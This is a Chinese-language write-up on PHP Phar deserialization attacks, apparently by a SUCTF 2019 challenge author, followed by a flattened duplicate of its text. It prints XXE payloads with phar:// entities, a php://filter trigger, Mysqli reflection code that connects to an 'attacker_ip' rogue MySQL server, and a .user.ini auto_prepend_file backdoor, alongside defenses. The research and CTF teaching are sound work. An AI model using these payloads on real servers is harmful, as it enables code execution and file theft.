SUCTF 2019 出题笔记 & phar 反序列化的一些拓展
字数 1510 2025-08-26 22:12:02

Phar反序列化漏洞深入分析与利用技巧

1. 基础概念与背景

Phar反序列化漏洞是PHP中一种特殊的攻击面,通过Phar文件格式的特性触发反序列化操作。Phar(PHP Archive)是PHP的归档文件格式,类似于Java的JAR文件,可以包含PHP代码、资源和元数据。

关键特性:

  • Phar文件包含序列化的元数据(stub、manifest和file contents)
  • 当PHP操作Phar文件时(如file_exists()、fopen()等),会自动反序列化元数据
  • 攻击者可以构造恶意Phar文件触发目标应用中的反序列化链

2. 核心触发点分析

2.1 传统触发函数

常见的触发Phar反序列化的函数包括:

  • 文件系统函数:file_exists()、fopen()、file_get_contents()等
  • 图像处理函数:getimagesize()、exif_thumbnail()等

2.2 新发现的触发函数

研究发现以下Fileinfo相关函数也可触发Phar反序列化:

// fileinfo.c 中的关键调用链
finfo_file()  _php_finfo_get_type()  php_stream_open_wrapper_ex()
finfo_buffer()
mime_content_type()

这些函数通过_php_finfo_get_type间接调用php_stream_open_wrapper_ex(),从而支持phar://协议触发反序列化。

3. 高级利用技巧

3.1 通过php://filter绕过限制

研究发现php://filter伪协议也可用于触发Phar反序列化:

// 示例利用方式
include('php://filter/read=convert.base64-encode/resource=phar://test.phar');

这种方法可以绕过一些文件内容检查或文件头限制。

3.2 XXE到Phar反序列化

即使禁用了外部实体加载(libxml_disable_entity_loader(true)),仍可通过XXE触发Phar反序列化:

<!-- 恶意XML示例 -->
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "phar:///path/to/file"> ]>
<x>&xxe;</x>

或使用php://filter:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=phar:///path/to/file"> ]>

3.3 MySQL客户端攻击链

通过MySQL客户端函数触发Phar反序列化:

// 利用Reflection构造恶意MySQL连接
$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);

$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'attacker_ip','root','pass','db','3306');

$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');

这种攻击利用了MySQL客户端的MYSQLI_OPT_LOCAL_INFILE设置覆盖特性。

4. 防御措施

  1. 禁用Phar流包装器

    stream_wrapper_unregister('phar');
    
  2. 严格验证文件内容

    • 检查文件头而非仅依赖扩展名
    • 使用getimagesize()等函数验证图像文件完整性
  3. 限制反序列化操作

    • 避免使用unserialize()处理用户输入
    • 使用json_decode()等替代方案
  4. 更新PHP版本

    • 新版PHP对Phar处理有更多安全限制
  5. 配置php.ini

    phar.readonly = On
    

5. 实际案例分析

5.1 SUCTF 2019 CheckIn题目

利用.user.ini文件构成的PHP后门:

; .user.ini内容
auto_prepend_file=01.gif

; 01.gif实际是包含恶意代码的Phar文件

5.2 SUCTF 2019 Upload Labs 2题目

预期解法:

  1. 上传恶意Phar文件(伪装为图像)
  2. 通过文件操作触发反序列化
  3. 利用反射类构造攻击链

6. 研究资源与参考

  1. [利用phar拓展php反序列化漏洞攻击面 - @seaii]
  2. [Phar与Stream Wrapper造成PHP RCE的深入挖掘 - @zsx]
  3. [Comprehensive analysis of the mysql client attack chain - @LoRexxar]
  4. [Black Hat USA 2019 - HostSplit: Exploitable Antipatterns in Unicode Normalization]

7. 总结

Phar反序列化漏洞展示了PHP生态中协议处理和反序列化机制的深层安全问题。随着研究的深入,不断有新的触发点和利用方式被发现,安全开发人员需要保持警惕,采取多层次防御措施。对于CTF选手和安全研究人员,理解这些机制有助于发现和利用更复杂的漏洞链。

Phar反序列化漏洞深入分析与利用技巧 1. 基础概念与背景 Phar反序列化漏洞是PHP中一种特殊的攻击面,通过Phar文件格式的特性触发反序列化操作。Phar(PHP Archive)是PHP的归档文件格式,类似于Java的JAR文件,可以包含PHP代码、资源和元数据。 关键特性: Phar文件包含序列化的元数据(stub、manifest和file contents) 当PHP操作Phar文件时(如file_ exists()、fopen()等),会自动反序列化元数据 攻击者可以构造恶意Phar文件触发目标应用中的反序列化链 2. 核心触发点分析 2.1 传统触发函数 常见的触发Phar反序列化的函数包括: 文件系统函数:file_ exists()、fopen()、file_ get_ contents()等 图像处理函数:getimagesize()、exif_ thumbnail()等 2.2 新发现的触发函数 研究发现以下Fileinfo相关函数也可触发Phar反序列化: 这些函数通过 _php_finfo_get_type 间接调用 php_stream_open_wrapper_ex() ,从而支持 phar:// 协议触发反序列化。 3. 高级利用技巧 3.1 通过php://filter绕过限制 研究发现 php://filter 伪协议也可用于触发Phar反序列化: 这种方法可以绕过一些文件内容检查或文件头限制。 3.2 XXE到Phar反序列化 即使禁用了外部实体加载( libxml_disable_entity_loader(true) ),仍可通过XXE触发Phar反序列化: 或使用php://filter: 3.3 MySQL客户端攻击链 通过MySQL客户端函数触发Phar反序列化: 这种攻击利用了MySQL客户端的 MYSQLI_OPT_LOCAL_INFILE 设置覆盖特性。 4. 防御措施 禁用Phar流包装器 : 严格验证文件内容 : 检查文件头而非仅依赖扩展名 使用getimagesize()等函数验证图像文件完整性 限制反序列化操作 : 避免使用unserialize()处理用户输入 使用json_ decode()等替代方案 更新PHP版本 : 新版PHP对Phar处理有更多安全限制 配置php.ini : 5. 实际案例分析 5.1 SUCTF 2019 CheckIn题目 利用.user.ini文件构成的PHP后门: 5.2 SUCTF 2019 Upload Labs 2题目 预期解法: 上传恶意Phar文件(伪装为图像) 通过文件操作触发反序列化 利用反射类构造攻击链 6. 研究资源与参考 [ 利用phar拓展php反序列化漏洞攻击面 - @seaii ] [ Phar与Stream Wrapper造成PHP RCE的深入挖掘 - @zsx ] [ Comprehensive analysis of the mysql client attack chain - @LoRexxar ] [ Black Hat USA 2019 - HostSplit: Exploitable Antipatterns in Unicode Normalization ] 7. 总结 Phar反序列化漏洞展示了PHP生态中协议处理和反序列化机制的深层安全问题。随着研究的深入,不断有新的触发点和利用方式被发现,安全开发人员需要保持警惕,采取多层次防御措施。对于CTF选手和安全研究人员,理解这些机制有助于发现和利用更复杂的漏洞链。